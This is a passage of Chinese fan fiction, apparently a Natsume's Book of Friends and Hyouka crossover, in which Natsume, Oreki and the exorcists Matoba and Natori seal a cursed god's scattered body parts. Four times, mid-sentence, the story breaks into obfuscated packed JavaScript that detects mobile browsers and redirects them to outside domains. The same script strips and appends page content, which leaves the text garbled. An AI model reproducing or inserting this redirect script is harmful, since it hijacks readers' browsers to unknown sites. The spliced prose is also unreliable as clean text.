他揭开瓦罐上的封印，嘴里开始念咒，不多时，那只手被一股看不见的力量吸进了瓦罐里。 封印结束，瓦罐被的场收进了口袋里。 夏目见危机解除，也懒得管的场，直径走到折木身边。 “还好，就是脚可能扭到了。”折木被他扶起来时，不小心动了动左脚，他忍不住“嘶”了一声。 “你别动。” 夏目让折木脱下鞋，脚踝处红肿一大块，肌肉和韧带可能渗血，这种情况完全不能再走动。 这下麻烦了。 的场也走了过来，他轻抚着下巴说道：“我的人倒是在这，不过离约定的时间还有些时候，如果不介意等待的话，我可以送你们回去。” “不用了。”夏目拒绝了他的好意，“我们还有人在神社那边工作，我们一会儿直接去那就行了，不麻烦的场先生。” 的场对他的拒绝也只是笑笑，目光却不经意地打量起折木：“看来你也看得见妖怪，有意思。” 折木被他看得有些发毛，有些不知如何应对，好在夏目帮忙挡住了视线。 “的场先生来这里，是为了找新的妖怪做式神吗？”夏目刻意转移了话题道。 夏目和的场一门接触过几次，而眼前这位是实力强大的除妖师，统领着七濑为首的众多门人，很强，也很危险，对待妖怪如同对待工具般，如果可以，自己也不想和他有过多的接触。 而最重要的一点是，绝对不能让对方发现折木的特殊之处。 “不是，”的场轻声道，“这次是为了收拾烂摊子。” “诶？” 烂摊子？ “你应该从名取那听说了吧，他这次接的委托原本只是为了加强封印，而他用了某种方法直接把神明一口气解决了，没能亲眼见证，属实让我有些遗憾。” 的场倏然靠近夏目，目光从他身上又流转到他身后的折木，语气很轻柔，却总有种紧张的氛围荡漾其间。 “虽然他特意模糊了过程，不过只要结果能让所有人满意，我也不会说什么。” “而现在，这所谓的烂摊子，是指神明留下的残骸，也就是你刚才见到的那只怪手。” 夏目愣了愣：“神明不是已经消灭了？” 刚说完他就自觉失言，这不就暴露自己当时在现场吗？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309406|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>的场笑容愈发深意：“是啊，可惜温泉封印的那个其实是她的灵体，实际上她的肉身还封印在此地，她当年堕化为恶鬼时，就舍弃了自己的身体，将它们抛弃在这山中，被百年的怨气所侵蚀已然变为另一种妖物。” “为了同时封印灵体和肉身，当时的除妖师就用特殊的阵法将他们封印在灵道上对立的两个位置，以鬼化的灵体束缚肉身，以充满怨念的肉身诅咒灵体，达到一种绝妙的平衡，来保证整个灵场不被破坏。” “现在灵体消失，肉身就没了限制，如果我们不采取行动的话，这些妖物就会祸乱人间。” “所以，这次可不好办呐。” 的场说到最后一句还是笑着，语调听起来不太有不好办的意味。 夏目一下子接受那么多的信息，大脑都没转过来。 “那么，名取先生也来了？” “是啊，为了这次的狩猎神明，的场一族倾尽大半的人马，说不定会损失惨重。” 夏目不太明白的场想说什么，只是对方的言辞有很明显的倾向性。 “除了手之外，还要哪些部位需要处理掉？” 一直静静听着对话的折木忽然开口。 无视夏目的表情，的场非常自然地接上：“刚刚收服的是右臂，还有左臂，右腿，左腿，躯干和头部，不过其他部位已经交给手下办了，也不知道他们有没有好好做。” 说完，他非常感兴趣地问道：“说起来，我还没问过你的名字，我叫的场静司，你呢？” “折木奉太郎……如果能及时解决掉你说的这些麻烦，这座山就不会再出什么岔子了吧？”折木问道。 “是的，如果能顺利解决的话。”的场笑道。 “不行，折木，你的脚还受了伤，再说……” 夏目抿着嘴唇，冲折木轻轻地摇了摇头。 别把自己的力量暴露在的场眼皮子底下，太危险了。 折木看懂了他的暗示，他看了看脚，小声说：“没关系，我有办法能暂时消除我的痛感，主要我放心不下老爸他们，现在也不可能直接说明让他们下山的理由，就只能先把眼前的事情优先解决了。” 而另一个问题……他早就想好了，有这个穿黑衣服的除妖师在，他尽量不会动用灵力，只要能避开的就避开。 不过脚是个麻烦，不能在这个时候当累赘。 折木用手触及肿起来的脚踝，他忍着疼痛，将手覆盖了上去，轻声念道：“似无痛舍形迹，似可见之缘，舍痛者，应吾而弃。” 他收回手，再尝试动脚，疼痛消失了。 折木小心翼翼地站了起来，对他露出浅浅的笑：“你看，没事了。” 夏目看着那仍旧发肿的脚踝，陷入了无言的担忧，这样真的没问题吗，而且刚刚折木念得似咒又非咒的文字又是什么…… “你……”夏目深深地叹息，但他还是坚决道，“不管怎么样，千万不能勉强自己。” “知道了。” 而的场这边，尽管折木做的再怎么隐蔽，可他还是听见了那段咒语。 没有被绷带遮住的眼中闪过一道隐晦的光，他勾起嘴角，露出看到猎物的笑容。 31.第 31 章 而距离折木他们很远的一条山道上。 “名取先生，封印已经准备好了。” 听身边的人如此说，隐藏已久的名取点了点头，他盯着眼前的湖泊，沉静道：“好的，你们在这里掩护我就行。” “是。” 这里是封印头部的地方，比其他部位要难收服很多。 他觉得的场就是故意的，毕竟自己没对对方说实话，那家伙就开始为难他，真是睚眦必报。 这么想着，名取用手指按了按镜框，走到比较宽敞处，咬开手指，将血液滴进湖中。 “纳川之神啊，吾为汝忠实的徒众，吾为献上血肉，以报汝对吾的恩赐。” 当他念完，滴入湖中的血液并没有溶于水中，反而汇聚到中央，在湖中央形成一团血色的凝块。 应该可以了吧。 名取准备收回手指，可湖面却形成了漩涡，一个货车般大小的头从水面冲了出来。 “不够！不够！我还要更多的新鲜血液！！！” 那个头面目狰狞可怖，牙齿外露，半张脸的血肉都溶解得只剩下森白的骨骼，而头发稀疏地披在脑后，让人想起轮入道。 它发现下面的名取，立刻扑了过来。 “血，我要血！” “给我！” 名取早有准备般躲了过去，在那颗头掉转方向追来前，他巧妙地跑进了封印阵的范围，从口袋掏出瓦罐，准备速战速决。 来了！ 名取一鼓作气，刚要念咒，眼前闪过一只白色圆球闪电，像颗炮弹正巧击中头颅。 “啊？”名取呆滞地看着这一幕，看着那只可恶的白球将那头踢飞后，还自顾自地摆出一副帅气的飞踹动作，真是够了。 “哼，在我闲逛的时候又遇到你这个无用的除妖师，真是孽缘喵??” 猫咪老师落在他的头顶上，见他浑身僵硬，用肉爪拍拍他的脸，“喂，你在发什么呆，还不感谢我，连这么一只妖怪都要搞出这种阵仗，真是笨蛋啊除妖师。” “你这个蠢猫！你看看你究竟做了什么好事！”名取彻底绷不住了。 眼看着头颅要脱离封印的范围，他给远处的同行除妖师比了手势后，立刻召唤出自己的式神，让她们尽可能拦住那个头颅。 “啧啧，你们除妖师真是麻烦……”猫咪老师变回了原形，先一步飞到了头颅那。 “血，我要血！”头颅张开血盆大口对准下方躲闪的妖怪们只有一刹那的距离时，就突然停住了，仿佛身后被什么力量拉扯着，它开始扭动头拼命挣扎，却依旧逃不过身后的钳制。 “啊——” 头颅发出一声低吼，它很快就看见了身后洒下的影子，一张巨大的嘴巴咬住它的头发，将它往后拽。 斑一甩头，竟然直接将那个头甩进了封印阵。 名取来不及多想，手持罐子，念出咒文，终于将头颅收进罐里。 “终于搞定了。”名取无奈仰天，冷汗几乎浸湿了他的后背。 “主人，你没事吧？”式神聚集到他身边安慰道。 “没事，有些脱力了，不过……” 名取这才意识到，如果那只猫在这的话，那么夏目和他身边的折木也在这？ 名取艰难爬起身，心里想：那只猫有句话说的还挺对的。 真是孽缘。 …… “哎呀，那边闹得挺大嘛。” 的场注意到了名取那边的动静，心情很是愉快。 “如果我没看错的话，是猫咪老师，没错吧？” 而他身后的折木一脸黑线地小声对夏目道。 夏目同样黑线，没想到猫咪老师竟跑到在那种地方，得想个办法找到对方，并且下周的馒头和甜点别想要了。 “好了，名取说搞定了，那么除了躯干外，其他部位都集齐了。” 的场接了个电话，从手下那得到汇报后，他将手机收起来，再次看向另外二人。 “不过躯干的地方是最难找的，就算靠着前辈们留下的资料也只得到模糊的范围，呐，夏目君，折木君，你们对此有什么见解呢？” 问他们？ 夏目十分疑惑，这种事情即便是他和折木也帮不上什么忙。 不对，也有可能是试探。 折木能看到比自己还要与众不同的东西，或许从他的视角来看，真的知道所在地也说不定？ 但要如此直接告诉的场，恐怕会受到更多关注。 思及此，他看向折木，而对方也正好看向他，两人目光都涌现着微妙的信息，像是达成共识般，两人都默契地摇摇头。 “如果能作为线索，我或许有些想法。”折木不动声色地开口。 的场的眼梢微微松弛了几分，表情极为少见，不，是从未见过的愉悦：“洗耳恭听。” “的场先生能方便告诉我，左臂和双腿收服的位置是在哪吗？”折木问道。 对方很乐意，依次报出了三个位置，折木稍微细想了下，随手捡了个树枝，在地面上画了一个十字，四肢和头部出现的封印地点分别在十字上打上“×”这个印记。 然后，将它们连在了一起。 夏目有些不可思议，因为五次地点巧妙地与中间十字交叉的中心距离是一样的。 “按照正常人体的排序，如果百年前的除妖师够严谨，那中央这个点应该就是封印躯干的位置。”折木用树枝点了点中间那个位置。 的场赞同地点了点头：“是这样没错，可惜即便是那里，参考的范围仍旧很大。” “那参照地图的比例尺呢？”折木继续说道。 “可以从地图上量取实地之间相应的距离，一般来说比例尺越大，精度越高，地形就越详细，也就是说现实中这五个封印的位置与躯干的位置距离是完全一样的。” “而且五个摆放地间隔的距离也是一样的，这应该不是巧合，照这样看的话，躯干的位置也可以估算出具体的地点。” 的场看着地上的五个方位，他示意折木将树枝给自己。 折木不知道他要做什么，递了过去。 “青龙、白虎、朱雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314916|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、玄武、天一，如果按照阵法，正好是阴阳五行方位，形成相生相克的关系，那么躯干作为阵法的靶点，就必须要有神宝和神宫传承的镇魂方术镇压……” 的场念念有词着，折木已经听不懂他在说什么，他也只是想着这几个封印位置或许会有些许关联，没想到直接给了的场灵感。 从自己的神思中回过神，的场露出折木看不懂的微笑：“我大概明白了，真是谢谢你啊，折木君。” “什么？” “我记得你们说过这附近有一座神社。” 的场轻抚着下巴，看着眼前两个少年逐渐露出震惊的神色，他笑道，“能符合条件的地方就只有那里了。” 而折木的老爸就正好在那！ 的场打电话通知自己的其他手下，让离得近的人先把无关人员进行疏散，并立刻布置好封印的法阵，防止有其他意外情况发生。 “你们放心好了，我们不会把普通人牵扯进去，不过为以防万一，我们最好现在就过去。”的场收敛之前试探的态度，认真说道。 两个少年点点头，立即和的场赶往神社。 “奉太郎，你们跑去哪了？我还以为你们迷路了，吓我一跳。”折木老爸看到终于回来的两人，总算松了口气。 “是迷路了，是这个好心的先生送我们回来的。”折木也不废话，干净利落地把的场借来一用，以此打消老爸的怀疑。 折木老爸注意到两人身后的的场，看到对方的奇怪打扮微微一愣，后知后觉才不好意思地开口：“啊，真抱歉，让您送犬子他们回来，请问您是？” “我是八原的场家的家主的场静司，也是本地主位的祢宜（日本神道教的神职人员），今日过来是帮我的客户寻找适合供奉宅神的神社，恰巧路上偶遇到两位小友，听说你们在这边进行考察，就顺道一起过来了。” 无懈可击的理由和友好待人的“营业”微笑，让折木老爸勉强相信了他的说辞，虽说对方左眼的绷带有些在意，但自己也不好继续追问。 “的场…先生。” 的场的手下也陆陆续续地赶来，看到普通人在现场，也下意识闭言。 “抱歉，可能要麻烦你们提前下山了。”的场礼貌道，“我们需要在神社进行仪式，整个过程不能让外人观礼，请你们谅解。” “啊……这样啊，没事，反正我们也考察得差不多了。” 折木老爸说着，就见同事拿着手机给自己看，是在神社官网账号上查到的信息，确定有的场这个人后，他才放下心来，招呼同伴收拾东西。 而这期间，的场不动声色地指挥着手下布置法阵。 折木注意到有个人走到神社神龛的位置，也是这个时候，密布在周围的灵场有了变化，他看到从神龛的位置冒出了黑色的怨念。 难道是—— 折木睁大眼睛，下意识想要开口提醒，可没等他说话，神龛竟自己打开了。 一只狐狸正学着人的样子盘腿坐在里面，怀里抱着一个带着符咒的木盒，它望着众人，竟然露出一个诡异的微笑。 32.第 32 章 是那只迷糊的狐狸妖怪。 折木认出来了，从它身上散发的怨气以及目露的血光来看，很可能被附身了。 狐狸一被发现，立刻双腿直立，单手抱着盒子钻进了神社。 其余人都反应不及，的场却异常冷静，他让手下向着神社包围过去，转身朝惊恐万分的折木老爸说道：“现在请立即下山，有空的话去山下的神社做个驱邪仪式吧。” “刚刚那是……妖怪？” 的场没有从正面回答，只是笑着说：“今天的事还请几位忘掉，以免徒增烦扰。” 折木对这人的冷静程度和圆谎能力感到莫名钦佩，在普通人都看到的情况下，话术还能如此滴水不漏，不愧是家主级别的人物。 他看了看四周的灵场，现在的情况似乎很不妙，这里的气温就夏末来说多了几分森然，连空气都开始弥漫着一股淡淡的腥臭味。 交给他们应该没问题吧？ 折木觉得自己和夏目可以趁这个机会离开这里，免得卷入这次事件。 “快走吧，老爸，别耽误了。” 折木轻轻推着老爸往前走，和夏目互相打着配合，打算先带他们离开神社的范围。 “妖怪，原来妖怪真的存在啊！” 折木老爸显然还没从刚才的画面回过神，他嘴里念着，可表情比起恐惧，更多的竟是亢奋居多。 “奉太郎，这可真是惊人的发现啊！” “是是是，等回家你想怎么发表感想都没问题，现在先下山！” 折木也是为了自己老爸捻着一把汗，他还真怕对方一冲动跑回去看实况，那才是真的难解。 走到半路，折木感受到脸上突然的温热，他朝上抬头，发现一个巨大的身影撑在他上方，涎水从他脸上滑落，折木被那张火红色的、眼珠快要蹦出的狐脸怔在当场。 什么时候跟上来的，那些除妖人没看到吗？！ “你……好香啊……我好饿……好饿……” 此时笼罩在他头顶的狐狸已经异化成更邪祟的东西，折木被强制钉在那动弹不了，只能眼睁睁地看着老爸等人没有一丝察觉地离开。 “好香……” 利爪攀上了他的肩膀，穿过他的肩带包，直直抵在了他胸口的位置。 “亮亮的……漂亮的，吃了……你，就能得到……它吗？” 身后的妖怪说着不成词的断句，尖细的嘴巴在折木耳边翕动。 得想办法！得快点想办法！ 折木的手指微微颤抖着，忍着恐惧，捏紧成拳。 “那就……从肩膀……开始……” “我……开动了！” 嘴巴朝着折木的肩膀咬了下去。 完了！ 折木攥住拳头闭着眼正要不管不顾往上挥，而此时，一个更恐怖的力道越过折木头顶，对着那妖怪的侧脸就是一记狠厉的老拳，直接把对方打飞了出去。 “赶上了……”夏目喘着气，狭长的金色眼眸闪过从未有过的凶光，他是最先注意到折木不在的人，没向折木老爸解释就冲了回来。 从未看到过夏目如此“凶残”一面的折木，此时竟感到了安心。 明明之前对付那几个妖怪时都没有现在如此错乱，或许是自己有点得意妄为了…… 在身体即将瘫软下来前，他被夏目一把拥住。 “折木，你没事吧？” “有事……” 折木看着自己早就扭伤的左脚，心有不甘地想，还以为那个咒文能拖到下山的，看来半吊子学的东西就拿来用果然不切实际。 夏目明白了他左脚的伤疼痛复发了，没再开口，利落转身蹲下。 “我背你，快上来。” “啊？” “快点，那妖怪要来了！” 在夏目的催促下，折木忍着痛，将身子贴在夏目后背，手臂攀住对方的肩。 “能行吗？”折木怕对方背自己吃力，忍不住问道。 “嗯，挺轻的。” 夏目一句话直接把折木噎住。 而此时的另一边，神社。 的场环顾着神社内部，这里原本供着大大小小的狐狸石像均被遭到破坏，而放在供位的封印神宝被血玷污，早就失去了镇压祟物的荣光。 “当家的，看出什么了？”七濑不知何时出现在背后，她视线一一扫过宛如狂风过境般的现场。 “我在想难怪这里会有只狐狸，那原本应该是这座神社的狐主，负责镇守被封印的躯干。”的场思忖着，边说边将那神宝拾了起来。 “所以这是稻荷神的神社？” “大概吧，可惜现在已经寂寥到没人信奉，狐主没了力量，自然给躯干可乘之机，甚至反过来被吞噬。”的场将沾血的神宝递给七濑，挥袖转身走向门口。 “躯干已经逃走了。” “你不是留了名取君在那等候吗？” “以他的实力恐怕……” 的场微微转过头，冲七濑笑道：“放心，名取君不会让我失望的。” 这时，他突然顿住脚步：“对了，还有一件事让我有点在意。” “哦？”七濑将微微低着的头抬起，注意到的场愉悦的表情，“又有什么事让当家感兴趣了？” “夏目身边那个少年，叫折木奉太郎，也能看到妖怪。” 七濑明白了他的意思：“是和夏目贵志一样的孩子？” “实力方面我还猜不准，但之前听他念过咒文，我觉得很耳熟，好像出自狩野一派的除妖世家。”的场说。 七濑眯眼：“可那个家族已经根灭了，你不会怀疑……” 她没说完，但她知道的场应该有了自己的想法。 “不管如何，我觉得尝试接触是有必要的，他和夏目君都是我想拉入的场一门的宝贵人才。” 的场似乎沉溺在自己的世界中，而后他转过头，眼中闪过深邃的笑意：“你觉得呢，七濑？” 七濑看着眼前之人，开玩笑般回了一句。 “真贪婪啊，当家的。” …… 被附身的狐主站在磨损的石阶间，四处寻找着折木等人的踪迹。 “好香的味道……在这边……” 它靠着灵敏的嗅觉，很快确认了位置，朝着山林中某处隐蔽的草丛扑了过去。 “咻——” 无形的攻击席卷周围的风，一鼓作气朝它射来。 狐主的动物本能救了它一命，它側仰躲开了攻势。 紧接着，一箭又一箭不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323754|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从同一位置射来，间隔不断，射手似乎变得急躁起来。 而情绪不稳就意味着失败。 接连这几箭都没有射中，狐主躲避的时候也摸到了规律，它直接纵高跳跃，打算落地时直接将猎物解决。 而越接近地面，那里根本没有它所想的猎物，而是一道狭窄的深沟，它猝不及防地砸了进去，身体几乎卡进大半。 折木和夏目就躲在深沟的另一侧，那里有可以攀爬上去的藤蔓。 见它因为卡住无能发狂，折木又集中注意力近距离朝它射了三箭，依次射在后背，左膝和大腿上。 而这三箭几乎让他脱力，这次灵力使用过头，太消耗他的体力了，折木干脆放弃似的趴在夏目背上不动，心想：不行了，完全不行了。 “折木？” 背后倏然的压力宛如尸体般沉重，要不是能感受到对方的心跳，夏目还以为折木就此嘎了。 “抱歉……”折木贴着夏目的耳侧，声音虚弱到无力，“可能彻底动不了了。” 被热气吹在耳边产生一阵酥麻感，夏目像是被电了下，脸颊飞速爬上红晕。 他轻微侧过头，稍稍避过折木的呼吸，强装镇定道：“没关系，有我在，折木你就好好休息吧。” “嗯……”折木软着身子说不出什么了，只能干巴巴地想，以后再也不跟老爸去什么山里了。 而狐主那边因为异化的身体怎么挣扎都无法从深沟里爬出来，附身的躯干决定放弃这个累赘，从狐主的身体脱离。 它的目标是折木，既然无法吃了他，就直接附身在他身上好了，说不定效果会更好。 然而超乎它的预料的是，它刚一出来，就被白色庞大的巨影一爪踩在脚下。 “夏目，原来你在这啊。” 斑瞥了一眼夏目，像是在怪他让自己好找，随后用爪子狠狠朝躯干揍去，场景活像是在打地鼠，看得夏目目瞪口呆。 等到躯干彻底不动了，斑变回猫咪的大小，将它一脚踹进沟里。 “嗯？这小子怎么了？”猫咪老师注意到背上挺尸的折木问道。 “消耗灵力太多了。” “这样啊，不过对付这东西确实要辛苦些。” 夏目看它这悠闲样，就想锤它：“要不是老师关键时刻不在，我和折木就不用在这东躲西藏，这一切都要怪老师！” “这个嘛……因为感觉上山太无聊了，所以想提前抄近路，顺便看看风景，最后再和你们在山顶上会合来着……” 看猫咪老师乱飘的眼神，夏目就知道这家伙铁定去玩了。 “不管怎么说都是老师的错，下周，不对下个月的甜食都没有了！” “什，什么，不要啦不要啦！这次是我不对……不要取消我的甜食！” 而被猫咪老师的声音吸引过来的名取，看到夏目大吃一惊。 “夏目，你怎么在这？有没有受伤？！” 看到名取，还在思考躯干怎么处理的夏目松了口气。 他摇了摇头：“没有，不过躯干就在这里，名取先生还是抓紧时间把它收服吧。” 听到躯干二字，名取瞳孔震颤。 还未问及经过，但看到沟里那坨血糊糊的马赛克，他感觉……还是不问比较好。 33.第 33 章 名取将躯干收入罐后，转头看夏目还把折木背在身上，忍不住开口：“夏目，要不换我来吧？” “不用了，”夏目很坚决地摇头，“名取先生还要去的场先生那边交差，我就不麻烦你了。” 是吗？ 名取狐疑地看着他。 可夏目君……我怎么感觉是你不想放手。 名取见背上的折木一脸恹恹，他没有多想，还是先将两人带出去再说。 “奉太郎！夏目！” 回到最初的石道上，与名取分道扬镳后，夏目背着折木一步步走回下山的石阶，正好撞上找上来的折木老爸。 “你们要吓死我了，一个两个不吱声就消失了，害我以为你们是不是被妖怪神隐了。” 夏目尴尬地笑笑，某种意义上来说确实如此。 “奉太郎，这是怎么了？” 折木老爸注意到折木的异常，连忙问道。 “下来的时候扭到脚了。”仿佛要睡着的折木总算睁开一只眼，懒懒地解释道，“又不小心滑到斜坡那里。” “你这孩子就不会喊两声吗。”折木老爸语气中多了一丝心疼。 折木没再说话，在山里那股怨气彻底消失前，他一直很不舒服，那感觉犹如胸口瘀滞的闷气无处消散。 如今那股黏腻气息没有了，这下他终于可以彻底放松下来了。 “折木？” 夏目感受到肩膀处有些湿润，余光中，折木的脸在夕阳光线的流转中变得相当柔和，呼吸轻缓了许多，他睡着了。 …… 再次醒来，折木是在医院。 消毒水的味道封闭在狭小的房间里，耳边传来不明仪器的响声。 他发现自己左脚使不上力，努力直起身才发现，受伤的脚被石膏绷带牢牢固定住。 “你醒了？”他老爸咬着苹果含糊不清地坐在陪座椅上，腿上还摊着杂志，一点也看不出他是来照顾病人的。 折木满脸黑线，他环顾一周，问：“夏目呢？” “我让他回去了，”老爸递了个苹果给他，顺带一副感慨万千的模样，“夏目还真是个好孩子，他还想留下来呢，要不是怕藤原他们担心，不然我这个位置非他莫属了。” 折木不客气地戳穿他：“你认真的？” “开玩笑嘛。” 都这种时候了，居然还说这种不合时宜的话，折木没心情搭理老爸，掀开被子，想要下床。 “诶诶，你要去哪？” 折木板着脸：“去厕所小解。” 不然他还能去哪？ 老爸一把按住他：“你这次的脚受伤很严重，医生可是嘱咐我让你不要随意乱动。” “……我的脚伤得很严重？” “当然，脚裸位置严重扭伤，甚至还伤到了外侧韧带，”老爸的叹息声几不可闻，他揉了揉折木的头发，继续道，“按照医生的意思，起码要三天才能出院。” “……” 折木呆呆地盯着自己被包成的木乃伊腿，他有预想过使用咒文的后果，毕竟它切断地只是痛觉，并不是附着于内里的伤痛，所以当时他完全是靠着麻痹大脑去继续使用这只脚。 除了通过视觉来确认自己这只脚的状态外，哪怕受到再严重的刺激，也没有疼痛的感觉。 而没有感觉，也就感受不到身体，这样一来岂不是和幽灵无异。 折木后知后觉才感受到了害怕，那是一种细思极恐的体验。 见折木在发呆，怕他多想，老爸合上腿上的杂志，安慰道，“没有造成跖骨断裂已经很好了，放心吧，不出几天就能回学校了，不会耽误你上学的。” “这样……”折木移开视线，再度恢复淡淡的表情，“那就可以好好休息了。” 这几天经历了很多事，浪费的能量也得好好补回来才行。 但现在，还有件事必须要解决。 “我小解怎么办？” “那我抱你？” “老爸，都这个时候了，我求你正常点。” 深知老爸爱调笑他的个性，折木觉得呆在这里的这三天可能会是一种折磨。 傍晚来临，吃完晚饭后，折木就躺在病床上透过窗外看夜景。 远处漆黑静谧，但道路两侧萦绕着昏黄的灯光，照亮了那片樱色。 医院离之前住的旅馆很近，因此也能看到那片樱花林。 话说能开到夏末的樱花好像到现在都没好好欣赏过，虽然有些可惜，但自己倒霉成这样也是没办法的事。 可如果全部都归于倒霉…… 那这样的日子还要持续多久。 折木略有些沮丧地想。 不知不觉，他沉沉睡了过去。 梦中似有一股樱花的香味，折木睁开眼，发现自己被樱花花瓣掩埋了起来。 “梦吗？”折木扶着额头，身上还穿着病号服，唯独脚上的绷带消失了。 “奉太郎。” 头顶传来熟悉的声音。 抬头一看，纸月本人就坐在樱树上，赤色的豪华单衣后摆挂在树枝上，被风吹散的樱花花瓣落在里面，衬得纸月更加唯美梦幻。 “我和你的联系……重新连接上了。” 折木看着她，自消灭温泉那的神明后，就没再听到过纸月的声音。 “如果我没猜错，那一次的攻击让你的力量已经消耗得无法与我取得联系。” “你察觉到了？” 折木身体微微靠在纸月落坐的樱树下，他的语调很平，又有些冷：“你曾说过你只是个半神，很久之前就被这世间的污秽消磨了神性……如果不能保留力量维持现在的状况的话，其实你迟早也会步入那位神明的后尘吧。” “你猜的？”纸月笑道。 “算是被消灭的那位给的灵感吧。” “哈哈听你讲话总是那么有意思，”纸月打开纸扇，抬手接住几片飘落的花瓣，“不过你说的确实没错，就算不做任何坏事，就算没有人类供奉，只是单纯的行走人间，也会被一些负面的东西所影响，渐渐地沾染上污秽，不知不觉就堕化成最让人唾弃的东西。” 紧接着，她又问： “呐，奉太郎，你觉得被驱赶的神明还能再重回天上吗？”纸月笑着问他。 折木不觉得这是临时起意的发问，在不确定对方想法的情况下，他还是选择不回答比较好：“……不知道。” “神明被排挤也意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15331922|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着被抛弃，天上那些神是不会接纳和自己不一样的同类，无论是出于外表、理念，还是其他理由，一旦被驱逐，就只有一种结局。” 而那样的结局折木已经在旅馆那见识过了，那位神明到最后连精神都变得异常，一直朝极端的走向发展，最终落得那样悲惨的结局。 见他沉默不语，纸月心情反而愉悦了起来，她伸手捻起折木头顶的花瓣，说道：“我算是好运吧，没有自主堕落成那个样子，主要还是有行舟陪着我。” “可行舟先生陪你的时间，对你而言很短暂吧。”折木开口。 纸月：“是啊，区区几十年的光阴也同樱花凋零般消散，好在现在还有你的存在……让我的梦不会那么快结束。” 折木敏锐地察觉到这话的异常，很快他就明白了，纸月是把他当成行舟先生的延续，或者换一个说法，精神寄托。 如果不去这样想，恐怕纸月也很快就会沦落到相同的结局。 接下来的话被折木咽了回去，他想，眼前这位半神为了行舟先生的遗愿，似乎真的在寻找活下去的理由。 而他目前也做不到戳破这层幻影，最后也只能这么说道：“无论如何，能亲眼见到你没事就好。” 不然我会担心的。 他在心里将后半句补充说完。 没事就好…… 纸月有些动容，除了行舟，已经很久没听到过这句话了。 她伸出手摸了摸折木的头发，想起了和行舟以前的记忆，突来的情绪如潮水般回涨，她突然说道：“奉太郎，要看花吗？” 折木闻言有些微愣，但他还是点了点头。 转瞬间，他被一股力量牵引着坐到了纸月身边，只见对方轻轻挥扇，风席卷着周围的樱花林，将折木的视野占满。 到处都隐约地泛着樱色的光点，刹那间有春天的花香乘着月光飘了进来，他仿佛看到这片花林从开始到结束近百年宛如须臾，周遭的一切声音在他的耳边显得朦胧而遥远，唯独他自己一个人的呼吸和心跳，被圈在这樱色的一隅里。 “谢谢……” 耳畔回响着纸月的低语，折木从那梦中清醒过来，他目光朝窗外看去，没过多久，花瓣落了，花香散开，晨曦照亮屋外的樱花树，他看到枝桠的翠绿嫩芽朝着天空蓬勃生长。 …… 三天后，经过治疗，折木脚上的绷带终于拆了。 虽然落地的时候还有些胀痛，但没有之前显著了。 折木收拾好自己的行李，准备跟着自己的老爸回去。 “折木，是夏目的电话哦，要不要接？” 老爸像是非要给他一个惊喜般，不等折木的意见，就直接把手机塞到他手上。 折木瞪了他一眼，还是按下接听键。 “喂。” “是折木叔叔吗？” “不，我是折木，老爸把电话拿给我了。” 听到是折木本人接的电话，夏目语气带着几分欣喜。 “我听折木叔叔说你今天出院，还想着要不要去接你。” “不用麻烦了，我们下午就能回家了。” 如此普通的问候代表着即将回归日常的前奏，折木此时的心情很不错。 34.第 34 章 （上一章剧情有修改，没看过的宝请先看上一章） 极深的夜里，路灯将人影拉得很长，因为没有人，走在这里，极为的静，只有风吹落花瓣的声音清晰可闻。 到处都隐约地泛着樱色的光点，刹那间有花香乘着月光飘了过来。 “可以放我下来了吧。” 折木完全没有欣赏夜樱的心思，他现在还被夏目抱着，羞耻心已经摇摇欲坠了。 “抱歉……”夏目看到不远处有一张街椅，才走过去，将折木放了上去。 折木此时仍感觉到脸颊的火热，见夏目的表情没有一丝动摇，心情闪过别扭，难道只有他一个人觉得被同性公主抱很难为情吗？ 不过上次被抱着从旅馆三楼跳下去时，夏目也是没什么情绪上的起伏，难不成真是自己太敏感了？ 折木想了半天的话被憋在喉咙口，除了把自己脸憋红和消耗情绪外，似乎也没能向夏目开口。 算了，不是什么有意义的事，思考下去也没什么结果，还是放过自己吧。 